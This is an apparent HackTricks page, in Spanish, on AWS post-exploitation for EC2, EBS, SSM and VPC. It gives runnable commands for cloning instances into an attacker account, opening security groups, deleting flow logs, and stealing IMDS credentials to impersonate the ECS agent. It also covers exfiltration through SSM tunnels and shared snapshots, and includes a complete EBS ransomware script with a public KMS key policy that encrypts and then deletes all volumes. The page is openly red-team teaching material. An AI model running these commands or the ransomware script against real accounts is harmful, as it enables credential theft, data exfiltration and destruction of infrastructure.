AWS - EC2, EBS, SSM & VPC Post-explotación

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

EC2 y VPC

Para más información consulta:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado normalmente se enviaría a algo como un network intrusion detection system (IDS) para análisis y monitorización.
Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él:

Para más información consulta esta página:

AWS - Malicious VPC Mirror

Copy Running Instance

Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta EC2 privilege escalation tricks). Sin embargo, otra forma de comprobar su contenido es crear una AMI y lanzar una nueva instancia (incluso en tu propia cuenta) a partir de ella:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Volcado de Snapshots de EBS

Los snapshots son copias de seguridad de volúmenes, que normalmente contendrán información sensible, por lo que revisarlos debería revelar esta información.
Si encuentras un volumen sin snapshot podrías: Crear un snapshot y realizar las siguientes acciones o simplemente montarlo en una instancia dentro de la cuenta:

AWS - EBS Snapshot Dump

Exfiltración encubierta de disco mediante AMI Store-to-S3

Exporta un AMI de EC2 directamente a S3 usando CreateStoreImageTask para obtener una imagen de disco raw sin compartir snapshots. Esto permite realizar forense offline completa o robo de datos mientras se mantiene intacta la red de la instancia.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Robo de datos en vivo mediante EBS Multi-Attach

Adjunta un volumen io1/io2 Multi-Attach a una segunda instancia y móntalo en solo lectura para extraer datos en vivo sin snapshots. Útil cuando el volumen víctima ya tiene Multi-Attach habilitado en la misma AZ.

AWS - Live Data Theft via EBS Multi-Attach

Puerta trasera de EC2 Instance Connect Endpoint

Crea un EC2 Instance Connect Endpoint, autoriza el ingreso e inyecta claves SSH efímeras para acceder a instancias privadas a través de un túnel gestionado. Proporciona rutas de movimiento lateral rápidas sin abrir puertos públicos.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

Secuestro de IP privada secundaria de ENI de EC2

Mueve la IP privada secundaria de la ENI de la víctima a una ENI controlada por el atacante para suplantar hosts de confianza que están en la lista de permitidos por IP. Permite eludir ACLs internas o reglas de SG vinculadas a direcciones específicas.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Secuestro de Elastic IP para suplantación de ingreso/egreso

Reasocia una Elastic IP de la instancia víctima al atacante para interceptar tráfico entrante o originar conexiones salientes que parezcan provenir de IPs públicas de confianza.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Puerta trasera en Security Group mediante Managed Prefix Lists

Si una regla de security group referencia una customer-managed prefix list, añadir los CIDRs del atacante a la lista expande silenciosamente el acceso a través de todas las reglas de SG dependientes sin modificar el SG en sí.

AWS - Security Group Backdoor via Managed Prefix Lists

Evasión de egreso mediante VPC Endpoint

Crea VPC endpoints de gateway o interface para recuperar acceso saliente desde subnets aisladas. Aprovechar private links gestionados por AWS elude controles faltantes de IGW/NAT para la exfiltración de datos.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Un atacante con el permiso ec2:AuthorizeSecurityGroupIngress puede añadir reglas de entrada a security groups (por ejemplo, permitiendo tcp:80 desde 0.0.0.0/0), exponiendo así servicios internos a Internet pública o a redes no autorizadas.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Un atacante con permisos ec2:ReplaceNetworkAclEntry (o similares) puede modificar los Network ACLs (NACLs) de una subred para hacerlos muy permisivos — por ejemplo permitiendo 0.0.0.0/0 en puertos críticos — exponiendo todo el rango de la subred al Internet o a segmentos de red no autorizados. A diferencia de los Security Groups, que se aplican por instancia, los NACLs se aplican a nivel de subred, por lo que cambiar un NACL restrictivo puede tener un radio de impacto mucho mayor al habilitar el acceso a muchos más hosts.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

Un atacante con permisos ec2:Delete* e iam:Remove* puede eliminar recursos y configuraciones críticas de infraestructura — por ejemplo key pairs, launch templates/versions, AMIs/snapshots, volumes o attachments, security groups o reglas, ENIs/network endpoints, route tables, gateways, o managed endpoints. Esto puede causar una interrupción inmediata del servicio, pérdida de datos y pérdida de evidencia forense.

Un ejemplo es eliminar un security group:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Apunta VPC Flow Logs a un S3 bucket controlado por el atacante para recopilar continuamente metadatos de red (origen/destino, puertos) fuera de la cuenta víctima para reconocimiento a largo plazo.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Even if you lock down an EC2 so no traffic can get out, it can still exfil via DNS.

  • VPC Flow Logs no registrará esto.
  • No tienes acceso a los logs de DNS de AWS.
  • Desactívalo estableciendo “enableDnsSupport” a false con:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Un atacante podría llamar a endpoints de API de una cuenta controlada por él. Cloudtrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los logs de Cloudtrail.

Open Security Group

Podrías obtener más acceso a servicios de red abriendo puertos de esta forma:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

It’s possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.

For más información.

Abuso de IMDS en ECS-on-EC2 e impersonación del agente ECS (ECScape)

On ECS with the EC2 launch type, the control plane assumes each task role and pushes the temporary credentials down to the ECS agent over the Agent Communication Service (ACS) WebSocket channel. The agent then serves those credentials to containers via the task metadata endpoint (169.254.170.2). The ECScape research shows that if a container can reach IMDS and steal the instance profile, it can impersonate the agent over ACS and receive every task role credential on that host, including task execution role credentials that are not exposed via the metadata endpoint.

Cadena de ataque

  1. Roba el container instance role desde IMDS. Se requiere acceso a IMDS para obtener el host role usado por el agente ECS.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
  1. Descubre el ACS poll endpoint y los identificadores requeridos. Usando las credenciales del instance role, llama a ecs:DiscoverPollEndpoint para obtener el endpoint ACS y recolectar identificadores como el cluster ARN y el container instance ARN. El cluster ARN se expone vía task metadata (169.254.170.2/v4/), mientras que el container instance ARN puede obtenerse mediante la agent introspection API o (si está permitido) ecs:ListContainerInstances.
  2. Hazte pasar por el agente ECS vía ACS. Inicia un WebSocket firmado con SigV4 al poll endpoint e incluye sendCredentials=true. ECS acepta la conexión como una sesión de agente válida y comienza a transmitir mensajes IamRoleCredentials para todas las tareas en la instancia. Esto incluye credenciales de task execution role, que pueden permitir pulls de ECR, recuperaciones de Secrets Manager o acceso a CloudWatch Logs.

Encuentra el PoC en https://github.com/naorhaziz/ecscape

Alcance de IMDS con IMDSv2 + hop limit 1

Setting IMDSv2 with HttpTokens=required and HttpPutResponseHopLimit=1 only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:

ECS network modeIMDS reachable?Reason
awsvpcCada tarea obtiene su propia ENI que todavía está a un hop de IMDS, por lo que los tokens y las respuestas de metadata llegan correctamente.
hostTasks comparten el namespace del host, por lo que ven la misma distancia en hops que la instancia EC2.
bridgeLas respuestas mueren en el Docker bridge porque ese salto adicional agota el límite de hops.

Por lo tanto, nunca asumas que el límite de hop 1 protege workloads en awsvpc o en host mode—siempre prueba desde dentro de tus contenedores.

Detectando bloqueos de IMDS por modo de red

  • awsvpc tasks: Los security groups, NACLs o ajustes de routing no pueden bloquear la dirección link-local 169.254.169.254 porque Nitro la inyecta en el host. Revisa /etc/ecs/ecs.config por ECS_AWSVPC_BLOCK_IMDS=true. Si la bandera falta (valor por defecto) puedes hacer curl a IMDS directamente desde la tarea. Si está establecida, pivota al namespace del host/agente para revertirla o ejecuta tus herramientas fuera de awsvpc.

  • bridge mode: Cuando las solicitudes de metadata fallan aunque el límite de hop 1 esté configurado, los defensores probablemente insertaron una regla de DROP DOCKER-USER como --in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Listar iptables -S DOCKER-USER la expone, y acceso root te permite borrar o reordenar la regla antes de consultar IMDS.

  • host mode: Inspecciona la configuración del agente por ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Esa configuración elimina completamente los task IAM roles, por lo que debes o bien re-habilitarla, moverte a tareas awsvpc, o robar credenciales mediante otro proceso en el host. Cuando el valor es true (por defecto), todo proceso en host-mode—including contenedores comprometidos—puede acceder a IMDS a menos que filtros eBPF/cgroup a medida apunten a 169.254.169.254; busca programas tc/eBPF o reglas iptables que hagan referencia a esa dirección.

Latacora incluso publicó Terraform validation code que puedes desplegar en una cuenta objetivo para enumerar qué modos de red todavía exponen metadata y planear tu siguiente movimiento en consecuencia.

Una vez entiendas qué modos exponen IMDS puedes planear tu camino post-explotación: apunta a cualquier ECS task, solicita el instance profile, hazte pasar por el agente y recolecta todos los demás task roles para movimiento lateral o persistencia dentro del cluster.

Eliminar VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Permisos requeridos:

  • ssm:StartSession

Además de la ejecución de comandos, SSM permite el traffic tunneling que puede ser abusado para pivot desde instancias EC2 que no tienen acceso de red debido a Security Groups o NACLs. Uno de los escenarios donde esto es útil es pivoting desde un Bastion Host a un EKS cluster privado.

Para iniciar una sesión necesitas el SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Instala el SessionManagerPlugin en tu máquina
  2. Conéctate al Bastion EC2 usando el siguiente comando:
aws ssm start-session --target "$INSTANCE_ID"
  1. Obtén las credenciales temporales de AWS del Bastion EC2 con el Abusing SSRF in AWS EC2 environment script
  2. Transfiere las credenciales a tu propia máquina en el archivo $HOME/.aws/credentials como perfil [bastion-ec2]
  3. Inicia sesión en EKS como el Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Actualiza el campo server en el archivo $HOME/.kube/config para que apunte a https://localhost
  2. Crea un túnel SSM de la siguiente manera:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. El tráfico de la herramienta kubectl ahora se reenvía a través del túnel SSM mediante la Bastion EC2 y puedes acceder al EKS cluster privado desde tu propia máquina ejecutando:
kubectl get pods --insecure-skip-tls-verify

Ten en cuenta que las conexiones SSL fallarán a menos que establezcas la opción --insecure-skip-tls-verify (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se enruta a través del túnel seguro de AWS SSM, estás protegido contra cualquier tipo de ataques MitM.

Finalmente, esta técnica no es específica para atacar clústeres privados EKS. Puedes establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada.


Rápido reenvío de puerto Local ↔️ Remoto (AWS-StartPortForwardingSession)

Si solo necesitas reenviar un puerto TCP desde la instancia EC2 a tu host local puedes usar el documento SSM AWS-StartPortForwardingSession (no se requiere el parámetro de host remoto):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

El comando establece un túnel bidireccional entre tu estación de trabajo (localPortNumber) y el puerto seleccionado (portNumber) en la instancia sin abrir ninguna regla de Security-Group entrante.

Casos de uso comunes:

  • File exfiltration
  1. En la instancia, inicia un servidor HTTP rápido que apunte al directorio que quieres exfiltrar:
python3 -m http.server 8000
  1. Desde tu estación de trabajo, descarga los archivos a través del túnel SSM:
curl http://localhost:8000/loot.txt -o loot.txt
  • Acceso a aplicaciones web internas (p. ej. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Consejo: Comprime y cifra la evidencia antes de exfiltrating para que CloudTrail no registre el contenido en clear-text:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

Compartir AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Buscar información sensible en AMIs públicas y privadas

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel es una herramienta diseñada para buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.

Compartir EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Una prueba de concepto similar a la demostración de Ransomware mostrada en las notas de post-exploitation de S3. KMS debería renombrarse a RMS (Ransomware Management Service) dada la facilidad con la que se puede usar para cifrar varios servicios de AWS.

Primero, desde una cuenta de AWS de ‘attacker’, crea una customer managed key en KMS. Para este ejemplo dejaremos que AWS gestione los datos de la clave por mí, pero en un escenario realista un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la key policy para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta key policy, el nombre de la cuenta era ‘AttackSim’ y la regla de la policy que permite todo el acceso se llama ‘Outside Encryption’

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

La regla de la key policy necesita lo siguiente habilitado para permitir su uso para cifrar un volumen EBS:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Ahora, con la clave públicamente accesible para usar. Podemos usar una cuenta ‘víctima’ que tenga algunas instancias EC2 levantadas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta ‘víctima’ son los que estamos apuntando para cifrar; este ataque se realiza bajo el supuesto compromiso de una cuenta AWS de alto privilegio.

Pasted image 20231231172655 Pasted image 20231231172734

Similar al ejemplo de S3 ransomware. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la clave públicamente disponible de la cuenta ‘atacante’ para cifrar los nuevos volúmenes EBS, luego desacoplará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará los snapshots usados para crear los nuevos volúmenes EBS cifrados. Pasted image 20231231173130

Esto resulta en que solo queden disponibles volúmenes EBS cifrados en la cuenta.

Pasted image 20231231173338

También vale la pena señalar que el script detuvo las instancias EC2 para desacoplar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no existen.

Pasted image 20231231173931

A continuación, vuelve a la key policy en la cuenta ‘atacante’ y elimina la regla de política ‘Outside Encryption’ de la key policy.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Espera un momento para que la key policy recién establecida se propague. Luego vuelve a la cuenta ‘victim’ e intenta adjuntar uno de los volúmenes EBS recién cifrados. Verás que puedes adjuntar el volumen.

Pasted image 20231231174131 Pasted image 20231231174258

Pero cuando intentes realmente iniciar la instancia EC2 con el volumen EBS cifrado, simplemente fallará y pasará del estado ‘pending’ al estado ‘stopped’ indefinidamente, ya que el volumen EBS adjunto no puede ser descifrado con la key porque la key policy ya no lo permite.

Pasted image 20231231174322 Pasted image 20231231174352

Este es el script de python utilizado. Toma AWS creds de una cuenta ‘victim’ y un valor ARN público de AWS para la key que se usará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta AWS objetivo, luego detendrá cada instancia EC2, separará los volúmenes EBS originales, los eliminará y, finalmente, eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta ‘victim’ objetivo. USE ESTE SCRIPT SOLO EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la KMS key utilizada y restaurarlos a su estado original mediante snapshots, pero solo quiero que sepas que al final del día esto es un ransomware PoC.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks